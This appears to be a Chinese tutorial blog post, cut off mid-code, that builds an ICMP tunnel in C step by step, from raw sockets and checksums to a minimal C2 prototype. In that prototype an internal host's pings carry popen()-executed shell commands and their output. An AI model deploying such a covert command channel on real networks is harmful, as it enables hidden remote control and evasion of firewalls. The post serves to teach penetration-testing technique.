前言:为什么要自己写 ICMP 隧道

在渗透测试和内网穿透场景中,ICMP 隧道是一种经典的隐蔽通信手段。市面上已经有不少成熟工具,比如 icmpsh、PingTunnel、icmptunnel 等,它们功能完善、开箱即用。但在实际使用中,我逐渐发现了一个问题:这些工具都是"黑盒"——你能用它们完成任务,却很难理解它们是如何工作的,更无法根据实际需求定制协议细节或调整流量特征。

当我想要深入理解 ICMP 协议的工作原理、掌握 raw socket 编程技巧,以及学习如何设计隐蔽通信协议时,我意识到最好的方式就是"从 0 开始写一个"。通过亲手构造 ICMP 报文、处理网络字节序、设计协议头、实现双向通信,我不仅能够真正理解每一个字节的含义,还能在遇到问题时快速定位和修复。更重要的是,这个过程让我对网络协议栈有了更深刻的认识。

本文的目标是:从 raw socket 出发,手工构造 ICMP 报文,实现一个最小化的 ICMP 隧道。

文中出现所有ip均为实验环境,最终代码已上传github(代码或许还存在些许bug,但不影响用于学习原理):https://github.com/kn0sky/easy\_icmp\_tunnel

‍

前置知识:ICMP 与 Raw Socket 基础

ICMP 协议基础

最常见的ICMP的应用就是ping命令,ping 是一个基于 ICMP(Internet Control Message Protocol)协议的网络诊断工具,用于测试目标主机是否可达以及连接的质量。

ICMP是基于IP协议的,在TCP/IP协议栈中位于网络层:

┌─────────────────────────────────┐
│        应用层 (ping, traceroute) │
├─────────────────────────────────┤
│        传输层 (TCP/UDP)          │
├─────────────────────────────────┤
│   网络层 (IP + ICMP)  ← ICMP在这里│
├─────────────────────────────────┤
│        数据链路层                 │
├─────────────────────────────────┤
│        物理层                     │
└─────────────────────────────────┘

工作原理:

  1. 源主机向目标IP发送一个 ICMP Echo Request 数据包(Echo Request:type8, code0)
  2. 目标主机收到后,返回一个ICMP Echo Reply数据包(Echo Reply:type0, code0)

内核自动响应 Echo Request(无需用户态程序)

  1. 源主机通过发送和接收的时间差计算出往返时间(RTT)

ICMP 报文格式:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Code      |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Data (可变)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

字段介绍:

字段

长度

说明

Type

8位

消息类型

Code

8位

消息子类型/错误代码

Checksum

16位

校验和

Data

可变

附加数据

这里可以随意添加数据的地方在Data段,ICMP的请求使用的是消息类型0:Echo,Echo的data字段可用于作为数据传输的载体

Raw Socket 基础(Linux)

本文选用 c 语言进行实验开发,在 Linux 中,通过 socket 函数可以创建 Raw Socket 类型的 Socket:

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h> // 提供 IP 头部结构

/*
- **AF_INET**: IPv4 网络层。
- **SOCK_RAW**: 指定为原始套接字。
- **protocol**: 协议类型。常用 `IPPROTO_ICMP`、`IPPROTO_TCP`、`IPPROTO_UDP` 或 `IPPROTO_RAW`(手动构造 IP 头)。
*/
int sockfd = socket(AF_INET, SOCK_RAW, protocol);

注意,这个第三个参数,如果是 IPPROTO_RAW,才能手动构造 IP 头,不然都是由内核生成

Raw Socket和普通Socket的区别

数据发送的角度来说:

  • 普通 Socket:你只需要提供应用层数据(Payload)。例如在发送 Web 请求时,你只管发送 HTTP 报文,内核会自动帮你套上 TCP 头、IP 头和以太网帧头。
  • Raw Socket:你直接面对的是协议包。你可以伪造源 IP 地址、修改 TCP 序列号(Sequence Number)或手动设置 ICMP 的类型码。

数据接收的角度来说:

  • 普通 Socket:只能接收发往特定端口(Port)的数据包。
  • Raw Socket:可以接收到内核传递给该协议的所有 IP 包。如果使用 AF_PACKET,甚至可以进入“混杂模式”监听通过网卡的所有原始以太网帧(Sniffer 原理)。

Raw Socket需要特殊的权限(root/cap_net_raw):

使用 Raw Socket 的程序需要root权限,或者CAPNETRAW权限才能允许,可通过如下命令授予目标应用程序该权限:

# 赋予程序创建原始套接字的能力
sudo setcap cap_net_raw+ep ./my_tool

# 查看程序拥有的能力
getcap ./my_tool

实验环境介绍

工具:gcc,wireshark

为方便实验:

  • 控制端使用:wsl-Ubuntu
  • 攻击端使用:Ubuntu

网络拓扑:

从 0 构造第一个 ICMP 报文(最小 PoC)

ICMP 头与校验和计算

ICMP 协议头在<netinet/ip_icmp.h>中有定义:

struct icmphdr
{
  uint8_t type;		/* message type */
  uint8_t code;		/* type sub-code */
  uint16_t checksum;
  union
  {
    struct
    {
      uint16_t	id;
      uint16_t	sequence;
    } echo;			/* echo datagram */
    uint32_t	gateway;	/* gateway address */
    struct
    {
      uint16_t	__glibc_reserved;
      uint16_t	mtu;
    } frag;			/* path mtu discovery */
  } un;
};

总共8字节,最主要的字段就是type,code,checksum,ping命令发送echo请求,所以剩下4字节使用的是id和sequence字段

手动发送一个ping包,查看字段的数据:

ICMP 部分的 hexdump:

0020   -- -- 08 00 de 93 41 c2 00 06 99 19 7b 69 00 00
0030   00 00 fa 4d 0a 00 00 00 00 00 10 11 12 13 14 15
0040   16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25
0050   26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35
0060   36 37

对于checksum的计算,RFC 1071 定义了互联网协议族(如 IP、TCP、UDP、ICMP)通用的校验和算法。该算法的核心是 16位二进制反码求和(16-bit One's Complement Sum) 。

流程如下:

  • 分组:将待校验的数据看作是 16 位的整数序列(2 字节为一个单位)。(计算的时候,checksum的值默认填入0)
  • 累加:将这些 16 位整数进行二进制加法。
  • 溢出处理(关键):如果加法产生了进位(从最高位溢出),将进位的值加回结果的最低位。这在算法中被称为“循环进位”。
  • 取反:最后将累加得到的结果按位取反(NOT),得到最终的校验和。

如上数据的checksum是0xde93,我们手动计算验证一下这个流程:(注意:网络数据传输使用的是大端序)

#include <stdio.h>
#include <inttypes.h>

// 将checksum用0占位
uint8_t icmp_packet[] = {
        0x08, 0x00, 0x00, 0x00, 0x41, 0xc2, 0x00, 0x06, // Type, Code, Checksum(0), ID, Seq
        0x99, 0x19, 0x7b, 0x69, 0x00, 0x00, 0x00, 0x00, // Data...
        0xfa, 0x4d, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
        0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37
    };

// rfc1071 checksum
int checksum(uint8_t* data,int len){
    uint32_t sum =0;
    uint16_t *p = (uint16_t*)data;

    // 16位累加
    while(len>1){
        sum += *p++;
        len-=2;
    }

    // 奇数情况下,构造一个临时的 uint16 变量
    if(len == 1 ){
        uint16_t tmp = 0;
        // 把这一个字节拷贝到 tmp 的第一个字节位置(低地址)
        *(uint8_t*)&tmp = *(uint8_t*)p; 
        // 然后像 while 循环里一样,按 uint16 加
        sum += tmp;
    }

    // 进位处理
    while(sum>>16){
        sum = (sum & 0xffff) + (sum>>16);
    }

    // 取反
    return (uint16_t)(~sum);
}

int main(){
    int sum = checksum(icmp_packet,sizeof(icmp_packet));
    printf("%hx",sum);
    return 0;
}

输出结果是93de,对应到大端序就是0xde93

发送一个带自定义 payload 的 Echo Request

接下来构造一个最简单的echo数据包,携带数据HELLO:

// ICMP Echo Request 客户端 - 发送 ICMP ping 请求
// 需要 root 权限运行(因为使用了 RAW socket)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip_icmp.h>



/**
 * 计算 ICMP 校验和(Internet Checksum 算法)
 *
 * @param data  待计算校验和的数据指针
 * @param len   数据长度(字节)
 * @return      16位校验和值
 *
 * 算法原理:
 * 1. 将数据按16位(2字节)为单位累加
 * 2. 如果有剩余的单字节,补零后加入
 * 3. 将高16位和低16位相加,直到高位为0
 * 4. 取反得到最终校验和
 */
int checksum(uint8_t* data,int len){
    uint32_t sum =0;
    uint16_t *p = (uint16_t*)data;

    // 16位累加
    while(len>1){
        sum += *p++;
        len-=2;
    }

    // 奇数情况下,构造一个临时的 uint16 变量
    if(len == 1 ){
        uint16_t tmp = 0;
        // 把这一个字节拷贝到 tmp 的第一个字节位置(低地址)
        *(uint8_t*)&tmp = *(uint8_t*)p; 
        // 然后像 while 循环里一样,按 uint16 加
        sum += tmp;
    }

    // 进位处理
    while(sum>>16){
        sum = (sum & 0xffff) + (sum>>16);
    }

    // 取反
    return (uint16_t)(~sum);
}

int main(int argc, char *argv[]) {
    // 检查命令行参数:需要指定目标 IP 地址
    if (argc < 2) {
        printf("Usage: %s <target_ip>\n", argv[0]);
        return 1;
    }

    // ============ 第1步:创建原始套接字 ============
    // AF_INET: IPv4 协议族
    // SOCK_RAW: 原始套接字,可以构造底层协议包
    // IPPROTO_ICMP: 指定使用 ICMP 协议
    // 注意:创建 RAW socket 需要 root 权限
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sock < 0) { perror("socket"); return 1; }

    // ============ 第2步:构造 ICMP 数据包 ============
    char packet[64];                    // 数据包缓冲区
    memset(packet, 0, sizeof(packet));  // 清零初始化

    // 将缓冲区开头解释为 ICMP 头部结构
    struct icmphdr *icmp = (struct icmphdr *)packet;

    // 填充 ICMP 头部字段
    icmp->type = ICMP_ECHO;                         // 类型8: Echo Request (ping请求)
    icmp->code = 0;                                 // 代码0: 无特殊含义
    icmp->un.echo.id = htons(0x66);                 // 标识符: 随便写
    icmp->un.echo.sequence = htons(1);              // 序列号: 用于追踪多个请求

    // 在 ICMP 头部之后添加负载数据 "HELLO"
    char *payload = packet + sizeof(struct icmphdr);
    strcpy(payload, "HELLO");

    // 计算整个 ICMP 包的长度并生成校验和
    int packet_len = sizeof(struct icmphdr) + strlen("HELLO");
    icmp->checksum = checksum(packet, packet_len);  // 校验和必须在所有字段填充后计算

    // ============ 第3步:发送 ICMP 包 ============
    // 设置目标地址结构
    struct sockaddr_in dest = {
        .sin_family = AF_INET,  // IPv4
    };
    // 将命令行参数中的 IP 字符串转换为网络字节序的二进制格式
    inet_pton(AF_INET, argv[1], &dest.sin_addr);

    // 发送数据包到目标地址
    if (sendto(sock, packet, packet_len, 0,
               (struct sockaddr *)&dest, sizeof(dest)) < 0) {
        perror("sendto");  // 发送失败,打印错误
    } else {
        printf("[+] ICMP sent to %s\n", argv[1]);  // 发送成功
    }

    // 关闭套接字,释放资源
    close(sock);
    return 0;
}

抓包看到,成功发送!!

接收 ICMP Echo Reply 并解析

通常情况下(指使用 AF_INET​ 创建的 Raw Socket),​recvfrom​​ 收到的数据缓冲区是以 IP 头部(IP Header)开始的。 我们需要从IP包里解析出ICMP数据包及其数据Data

使用AF_PACKET创建的Raw Socket则是可以收到包含以太网头部的数据

ip头结构体:

struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
    /* * 小端序机器(如 x86/ARM):
     * 位域定义顺序是从低位到高位。
     * 网络字节序要求 Version 在高 4 位,IHL 在低 4 位。
     * 因此在小端机上,先定义 IHL(低位),后定义 Version(高位)。
     */
    unsigned int ihl:4;      // 首部长度 (Internet Header Length),单位为 4 字节,最小值为 5 (20字节)
    unsigned int version:4;  // IP 版本号,IPv4 固定为 4
#elif __BYTE_ORDER == __BIG_ENDIAN
    /* * 大端序机器(如 MIPS/PowerPC):
     * 位域定义顺序与内存布局一致(从高位到低位)。
     * 因此先定义 Version(高位),后定义 IHL(低位)。
     */
    unsigned int version:4;
    unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif

    uint8_t tos;             // 服务类型 (Type of Service),现用于 DSCP 和 ECN
    uint16_t tot_len;        // IP 包总长度 (Total Length),包含头部和数据,单位字节
    uint16_t id;             // 标识符 (Identification),用于辅助 IP 分片重组
    uint16_t frag_off;       // 片偏移 (Fragment Offset),包含 3 位标志位 (RF, DF, MF) 和 13 位偏移量
    uint8_t ttl;             // 生存时间 (Time To Live),跳数限制,防止路由环路
    uint8_t protocol;        // 上层协议 (Protocol),例如:TCP(6), UDP(17), ICMP(1)
    uint16_t check;          // 首部校验和 (Header Checksum),仅校验 IP 头部,不包含数据
    uint32_t saddr;          // 源 IP 地址 (Source Address),32位网络字节序
    uint32_t daddr;          // 目的 IP 地址 (Destination Address),32位网络字节序
    /* The options start here. */
    // 可选字段 (Options) 和填充位紧随其后,长度由 IHL 决定
};

这里我们不操作IP头部,所以只需要知道IP头大小如何获得就行,有了IP头大小,从收到的packet中跳过该大小就是icmp头部+icmp数据了:

    // ============ 第4步:接收返回包并解析 ============
    struct sockaddr_in from;
    socklen_t from_len = sizeof(from);
    memset(packet, 0, sizeof(packet));

    // 接收 ICMP 响应包(阻塞等待)
    int recv_len = recvfrom(sock, packet, sizeof(packet), 0,
                            (struct sockaddr *)&from, &from_len);
    if(recv_len < 0){
        perror("recvfrom");
    } else {
        // 解析 IP 头部(RAW socket 返回的数据包含 IP 头)
        struct iphdr *ip = (struct iphdr *)packet;
        int ip_hdr_len = ip->ihl * 4;  // IP 头长度(ihl 单位是 4 字节)

        // ICMP 头部在 IP 头之后
        struct icmphdr *icmp_reply = (struct icmphdr *)(packet + ip_hdr_len);

        // 检查是否是 Echo Reply(类型0)
        if(icmp_reply->type == ICMP_ECHOREPLY){
            printf("[+] ICMP Reply from %s\n", inet_ntoa(from.sin_addr));
            printf("    Type: %d, Code: %d\n", icmp_reply->type, icmp_reply->code);
            printf("    ID: 0x%04x, Seq: %d\n",
                   ntohs(icmp_reply->un.echo.id),
                   ntohs(icmp_reply->un.echo.sequence));

            // 提取 payload(如果有)
            int payload_len = recv_len - ip_hdr_len - sizeof(struct icmphdr);
            if(payload_len > 0){
                char *recv_payload = packet + ip_hdr_len + sizeof(struct icmphdr);
                printf("    Payload (%d bytes): %.*s\n", payload_len, payload_len, recv_payload);
            }
        } else {
            printf("[-] Received ICMP type %d (not Echo Reply)\n", icmp_reply->type);
        }
    }

运行结果:

0.icmp ➤ sudo ./icmp_ping 81.70.190.242                                                                                                                                                                                           
[+] ICMP sent to 81.70.190.242
[+] ICMP Reply from 81.70.190.242
    Type: 0, Code: 0
    ID: 0x0066, Seq: 1
    Payload (5 bytes): HELLO

成功解析收到的数据

单向 ICMP 数据通道:把任意数据塞进 Echo

接下来我们来完善数据的传输,我们需要自己封装一下数据

自定义协议封装数据

定义一个最简单的协议头:

  • cmd_type:区分数据,控制,心跳之类的
  • data,data_len:传输的数据
  • seq_num和total:考虑长数据需要分片传输的问题

协议定义如下:通过设置#pragma pack(push, 1)来达到单字节对其的目的,使用柔性数组来存储数据

/* ============ 协议头结构 ============ */
#pragma pack(push, 1)

/**
 * 隧道协议头(支持分片)
 *
 * 格式:
 * +----------+----------+----------+----------+-----------+
 * | cmd_type | seq_num  | total    | data_len | payload   |
 * | (1 byte) | (2 bytes)| (2 bytes)| (2 bytes)| (N bytes) |
 * +----------+----------+----------+----------+-----------+
 *
 * 总头部大小: 7 字节
 */
typedef struct selhdr_tag {
    uint8_t  cmd_type;      // 命令类型
    uint16_t seq_num;       // 当前分片序号 (从 0 开始)
    uint16_t total;         // 总分片数 (1 表示不分片)
    uint16_t data_len;      // 当前包 payload 长度
    uint8_t  data[];        // C99 柔性数组
} selhdr, *pselhdr;

#pragma pack(pop)

发送任意数据的客户端

单独封装发送函数如下:

/**
 * 构造 ICMP 数据包发送
 * @return 0 成功, -1 失败
 */
int sel_send(int sock, const char* ip, selhdr* hdr, int hdr_len) {
    // 动态计算缓冲区大小: ICMP头 + 隧道协议数据
    int packet_len = sizeof(struct icmphdr) + hdr_len;
    char *packet = (char*)calloc(1, packet_len);
    if (!packet) {
        LOG_ERROR("calloc 失败");
        return -1;
    }

    // 填充 ICMP 头部
    struct icmphdr *icmp = (struct icmphdr *)packet;
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->un.echo.id = htons(getpid() & 0xFFFF);
    icmp->un.echo.sequence = htons(1);

    // 复制隧道协议数据
    memcpy(packet + sizeof(struct icmphdr), hdr, hdr_len);

    // 计算校验和
    icmp->checksum = calc_checksum(packet, packet_len);

    // 设置目标地址
    struct sockaddr_in dest = { .sin_family = AF_INET };
    inet_pton(AF_INET, ip, &dest.sin_addr);

    // 发送
    int ret = 0;
    if (sendto(sock, packet, packet_len, 0,
               (struct sockaddr *)&dest, sizeof(dest)) < 0) {
        LOG_ERROR("sendto 失败: %s", strerror(errno));
        ret = -1;
    } else {
        LOG_DEBUG("ICMP 已发送到 %s", ip);
    }

    free(packet);
    return ret;
}

考虑到分片的情况,就需要自动切片再发送:

/**
 * 分片发送数据(自动切片)
 */
int sel_send_fragmented(int sock, const char* ip, uint8_t cmd_type,
                        const void* data, int data_len) {
    uint16_t total_fragments = CALC_FRAGMENTS(data_len);

    LOG_INFO("数据长度: %d 字节, 分片数: %u", data_len, total_fragments);

    const uint8_t* ptr = (const uint8_t*)data;
    int remaining = data_len;

    for (uint16_t seq = 0; seq < total_fragments; seq++) {
        int chunk_size = (remaining > MAX_PAYLOAD_SIZE)
                         ? MAX_PAYLOAD_SIZE : remaining;

        selhdr* pkt = (selhdr*)malloc(SELHDR_SIZE + chunk_size);
        if (!pkt) {
            LOG_ERROR("malloc 失败");
            return -1;
        }

        // 填充协议头
        pkt->cmd_type = cmd_type;
        pkt->seq_num  = seq;
        pkt->total    = total_fragments;
        pkt->data_len = (uint16_t)chunk_size;
        memcpy(pkt->data, ptr, chunk_size);

        LOG_DEBUG("发送分片 [%u/%u], 大小: %d 字节", seq + 1, total_fragments, chunk_size);

        if (sel_send(sock, ip, pkt, SELHDR_SIZE + chunk_size) < 0) {
            free(pkt);
            return -1;
        }

        free(pkt);
        ptr += chunk_size;
        remaining -= chunk_size;

        // 分片间延迟
        if (seq < total_fragments - 1) {
            usleep(10000);
        }
    }

    LOG_INFO("所有分片发送完成!");
    return 0;
}

接收数据并打印的服务端

单独写一个接收端死循环来接收ICMP请求,并打印协议信息:

/**
 * 主循环:接收 ICMP 包
 */
int main(int argc, char *argv[]) {
    printf("\n");
    printf("╔══════════════════════════════════════════════════════════════╗\n");
    printf("║           ICMP 隧道服务端 - 接收并打印 Payload               ║\n");
    printf("║                    按 Ctrl+C 退出                            ║\n");
    printf("╚══════════════════════════════════════════════════════════════╝\n");
    printf("\n");

    // 创建 RAW socket
    int sock = create_raw_socket();
    if (sock < 0) {
        return 1;
    }

    LOG_INFO("RAW socket 创建成功 (fd=%d)", sock);
    LOG_INFO("开始监听 ICMP 包...\n");

    char recv_buf[RECV_BUF_SIZE];
    struct sockaddr_in from;
    socklen_t from_len;

    int packet_count = 0;

    while (1) {
        from_len = sizeof(from);
        memset(recv_buf, 0, sizeof(recv_buf));

        // 阻塞接收 ICMP 包
        int recv_len = recvfrom(sock, recv_buf, sizeof(recv_buf), 0,
                                (struct sockaddr*)&from, &from_len);

        if (recv_len < 0) {
            if (errno == EINTR) {
                continue;  // 被信号中断,继续
            }
            LOG_ERROR("recvfrom 失败: %s", strerror(errno));
            continue;
        }

        // 解析 IP 头
        struct iphdr *ip = (struct iphdr*)recv_buf;
        int ip_hdr_len = ip->ihl * 4;

        // 获取源 IP
        struct in_addr src_addr;
        src_addr.s_addr = ip->saddr;
        char* src_ip = inet_ntoa(src_addr);

        // 检查数据长度
        if (recv_len < ip_hdr_len + (int)sizeof(struct icmphdr)) {
            continue;  // 包太短
        }

        // 获取 ICMP 头
        struct icmphdr *icmp = (struct icmphdr*)(recv_buf + ip_hdr_len);

        // 只处理 Echo Request (type=8) - 这是客户端发来的
        if (icmp->type != ICMP_ECHO) {
            continue;  // 忽略其他类型
        }

        packet_count++;
        LOG_INFO("收到第 %d 个 ICMP Echo Request", packet_count);

        // 计算 payload 位置和长度
        int payload_offset = ip_hdr_len + sizeof(struct icmphdr);
        int payload_len = recv_len - payload_offset;

        if (payload_len > 0) {
            void* payload = recv_buf + payload_offset;
            print_tunnel_packet(src_ip, icmp, payload, payload_len);
        } else {
            LOG_WARN("收到空 payload 的 ICMP 包,来自 %s", src_ip);
        }
    }

    close(sock);
    return 0;
}

运行效果

发送端:

0.icmp ➤ sudo ./icmp_ping *.*.*.* "你好 hello world"                                                                                                                                                                                                                     
[+] RAW socket 创建成功 (fd=3)
[+] 目标地址: *.*.*.*
[+] 发送消息: "你好 hello world"
[+] 数据长度: 18 字节, 分片数: 1
[*] 发送分片 [1/1], 大小: 18 字节
[*] ICMP 已发送到 *.*.*.*
[+] 所有分片发送完成!

[*] 等待响应...
[*] 等待接收分片...
[+] ICMP Reply from *.*.*.*
[*] 预期接收 1 个分片
[+] 收到分片 [1/1], 大小: 18 字节
[+] 所有分片接收完成! 总大小: 18 字节
[+] 收到响应: cmd_type=TEXT, len=18
[+] 内容: 你好 hello world
[+] 完成!

接收端:

╔══════════════════════════════════════════════════════════════╗
║                    ICMP 隧道包接收                           ║
╠══════════════════════════════════════════════════════════════╣
║ ICMP 类型: 8     代码: 0                                     ║
║ ICMP ID: 0x772D  Seq: 1                                      ║
╠══════════════════════════════════════════════════════════════╣
║ 源 IP:     ***.***.***.***                                  ║
║ cmd_type:  3  (TEXT    )                                    ║
║ seq_num:   0                                                 ║
║ total:     1                                                 ║
║ data_len:  18    bytes                                       ║
╠══════════════════════════════════════════════════════════════╣
║ Payload (文本):                                              ║
║ >> 你好 hello world
╠══════════════════════════════════════════════════════════════╣
║ Payload (十六进制):                                          ║
║ [协议头 7 bytes]: 03 00 00 01 00 12 00 
║ [数据 18 bytes]: E4 BD A0 E5 A5 BD 20 68 65 6C 6C 6F 20 77 6F 72 6C 64 
╚══════════════════════════════════════════════════════════════╝

[协议头字段偏移]
  偏移 +0:  cmd_type  = 0x03
  偏移 +1:  seq_num   = 0x0000 (小端: 00 00)
  偏移 +3:  total     = 0x0001 (小端: 01 00)
  偏移 +5:  data_len  = 0x0012 (小端: 12 00)
  偏移 +7:  data[]    = "你好 hello world"

双向 ICMP 隧道:最小 C2 通信原型

此处代码进行了重构,和之前的示例有所不同

ICMP 隧道通信模型设计 - 一图流​​

这里的角色定义分为2种:

  • client(内网中的机器)
  • server(有公网IP的服务器)

通信流程:

由于server没法向client发送请求,所以需要使用类似reverse shell的方式,让client向server发送echo请求,每隔5秒发送一次心跳包,当有命令需要执行的时候,server通过reply返回需要执行的命令,client执行完成之后,再次发送echo返回结果,server解析显示结果

这里的设计如下图所示


Server:心跳机制+执行命令并回传结果

Server 端运行在内网环境中,通过主动发送 ICMP Echo Request(心跳包)来维持与公网 Client 的连接。这里解决了内网穿透问题

Server 的工作流程可以概括为三个步骤的循环:

  1. 发送心跳包:定期向公网 Client 发送 ICMP Echo Request
  2. 接收命令:从 Client 的 Echo Reply 中解析命令
  3. 执行并缓存结果:执行命令后,将结果缓存到下次心跳中发送

这里利用了 ICMP 协议的请求-应答机制,将命令和结果嵌入到正常的 ping 流量中。

关键函数实现

1. send_heartbeat() - 发送心跳包

int send_heartbeat(int sock, const char* client_ip, uint16_t seq,
                   uint8_t cmd_type, const void* data, int data_len)

该函数负责构造并发送 ICMP Echo Request 包。关键实现细节:

  • 安全检查:首先验证 data_len 在有效范围内(0 到 MAX_PAYLOAD_SIZE),防止缓冲区溢出
  • 包结构:按顺序构造 ICMP 头 + 隧道协议头 + 数据载荷
  • 校验和计算:使用 calc_checksum() 计算整个包的校验和,确保数据完整性
  • 携带结果:如果上次命令有执行结果,通过 data 参数携带在心跳包中

2. recv_reply() - 接收 Echo Reply

int recv_reply(int sock, uint8_t* out_cmd_type, uint8_t* out_data,
               int max_len, int timeout_ms)

该函数接收 Client 发来的 Echo Reply,并从中提取命令。实现了多层安全检查:

  • 超时处理:设置接收超时,避免无限等待。超时返回 0(非错误)
  • 五层安全验证:
  1. 验证包含完整 IP 头(至少 20 字节)
  2. 验证 IP 头长度合法(20-60 字节),防止恶意 ip->ihl 值
  3. 验证 payload 偏移量不越界
  4. 验证包含完整隧道协议头
  5. 验证 data_len 不超过可用空间,防止 memcpy 溢出

这些检查确保了即使收到恶意构造的包,也不会导致程序崩溃或安全漏洞。

3. execute_command() - 执行命令

int execute_command(uint8_t cmd_type, const uint8_t* cmd_data, int cmd_len,
                    uint8_t* out_result, int max_result_len)

该函数根据命令类型执行相应操作。以 CMD_TEXT 类型为例:

case CMD_TEXT: {
    // 步骤 1:安全复制命令字符串并确保 null 终止
    char cmd_str[MAX_PAYLOAD_SIZE + 1];
    int safe_len = (cmd_len > MAX_PAYLOAD_SIZE) ? MAX_PAYLOAD_SIZE : cmd_len;
    memcpy(cmd_str, cmd_data, safe_len);
    cmd_str[safe_len] = '\0';  // 显式 null 终止

    // 步骤 2:执行命令
    FILE* fp = popen(cmd_str, "r");
    
    // 步骤 3:读取命令输出(限制到 MAX_PAYLOAD_SIZE)
    char result[MAX_PAYLOAD_SIZE];
    int total_read = 0;
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 逐行读取,防止缓冲区溢出
    }
    
    // 步骤 4:复制结果到输出缓冲区
    memcpy(out_result, result, output_len);
    return output_len;
}

关键点:

  • 使用 popen() 执行 shell 命令并捕获输出
  • 逐行读取输出,严格控制缓冲区大小
  • 显式添加 null 终止符,确保字符串安全

主循环逻辑

Server 的 main 函数实现了一个简洁的状态机:

uint8_t pending_result[MAX_PAYLOAD_SIZE] = {0};
int pending_result_len = 0;
uint8_t pending_cmd_type = CMD_HEART;

while (g_running) {
    // 1. 发送心跳(可能携带上次命令的结果)
    uint8_t send_type = (pending_result_len > 0) ? pending_cmd_type : CMD_HEART;
    send_heartbeat(sock, client_ip, seq++, send_type, 
                   pending_result, pending_result_len);
    
    // 2. 清空已发送的结果
    pending_result_len = 0;
    
    // 3. 等待 Reply(可能包含新命令)
    int recv_len = recv_reply(sock, &recv_cmd_type, recv_data, 
                              sizeof(recv_data), interval * 1000);
    
    // 4. 执行命令并缓存结果
    if (recv_len > 0) {
        pending_result_len = execute_command(recv_cmd_type, recv_data, recv_len,
                                             pending_result, sizeof(pending_result));
        pending_cmd_type = recv_cmd_type;
    }
    
    // 5. 等待下一个心跳周期
    sleep(interval);
}

Client:发送命令+收集回传结果

Client 端运行在公网环境中,作为控制端负责接收 Server 的心跳、下发命令并收集执行结果。与 Server 相比,Client 需要处理用户交互和命令队列管理。

Client 的工作模式是被动监听 + 主动响应:

  1. 监听心跳:持续监听来自内网 Server 的 ICMP Echo Request
  2. 用户交互:非阻塞检查用户输入,将命令加入队列
  3. 发送命令:通过 Echo Reply 将命令发送给 Server
  4. 接收结果:从后续心跳中提取命令执行结果

关键函数实现

1. recv_heartbeat() - 接收心跳包

int recv_heartbeat(int sock, struct in_addr* out_src, uint16_t* out_id,
                   uint16_t* out_seq, uint8_t* out_cmd_type,
                   uint8_t* out_data, int max_len)

该函数监听并解析 ICMP Echo Request。与 Server 的 recv_reply() 类似,但有以下区别:

  • 返回值语义:
  • ​>0:成功接收到隧道包的数据长度
  • ​0:超时或无效包
  • ​-1:系统错误
  • ​-2:普通 ICMP 包(非隧道包)
  • 提取更多信息:除了命令类型和数据,还提取源 IP、ICMP ID 和序列号,用于构造 Reply
  • 区分普通 ping:如果 payload 太短(小于隧道协议头大小),返回 -2,表示这是普通 ping 包而非隧道流量

2. send_reply() - 发送 Echo Reply

int send_reply(int sock, struct in_addr dest_ip, uint16_t id, uint16_t seq,
               uint8_t cmd_type, const void* data, int data_len)

该函数构造 ICMP Echo Reply 并携带命令。关键实现:

  • 保持 ID 和序列号:使用从 Echo Request 中提取的 id​ 和 seq,确保 Reply 与 Request 匹配
  • ICMP 类型:设置为 ICMP_ECHOREPLY(类型 0)
  • 命令封装:将用户命令封装在隧道协议头的 data 字段中

3. check_user_input() - 非阻塞命令输入

int check_user_input(void)

该函数实现了非阻塞的用户输入检查,是 Client 交互性的关键:

fd_set fds;
struct timeval tv = { .tv_sec = 0, .tv_usec = 0 };

FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);

// 非阻塞检查标准输入是否有数据
if (select(STDIN_FILENO + 1, &fds, NULL, NULL, &tv) > 0) {
    char line[1024];
    if (fgets(line, sizeof(line), stdin)) {
        // 去掉末尾的换行符
        size_t len = strlen(line);
        if (len > 0 && line[len-1] == '\n') {
            line[len-1] = '\0';
            len--;
        }
        
        // 加入命令队列
        if (len > 0) {
            set_pending_command(CMD_TEXT, line, len);
            return 1;
        }
    }
}
return 0;

4. set_pending_command() - 命令队列管理

void set_pending_command(uint8_t cmd_type, const void* data, int len)

简化版的命令队列,只保存一条待发送命令:

static uint8_t g_pending_cmd_type = CMD_HEART;
static uint8_t g_pending_cmd_data[MAX_PAYLOAD_SIZE] = {0};
static int g_pending_cmd_len = 0;

主循环逻辑

Client 的 main 函数实现了一个事件驱动的循环:

struct in_addr server_ip = {0};
int connected = 0;

while (g_running) {
    // 1. 检查用户输入(非阻塞)
    check_user_input();
    
    // 2. 接收心跳
    struct in_addr src_ip;
    uint16_t pkt_id, pkt_seq;
    uint8_t recv_cmd_type = 0;
    uint8_t recv_data[MAX_PAYLOAD_SIZE] = {0};
    
    int recv_len = recv_heartbeat(sock, &src_ip, &pkt_id, &pkt_seq,
                                  &recv_cmd_type, recv_data, sizeof(recv_data));
    
    // 3. 处理连接状态
    if (!connected || src_ip.s_addr != server_ip.s_addr) {
        server_ip = src_ip;
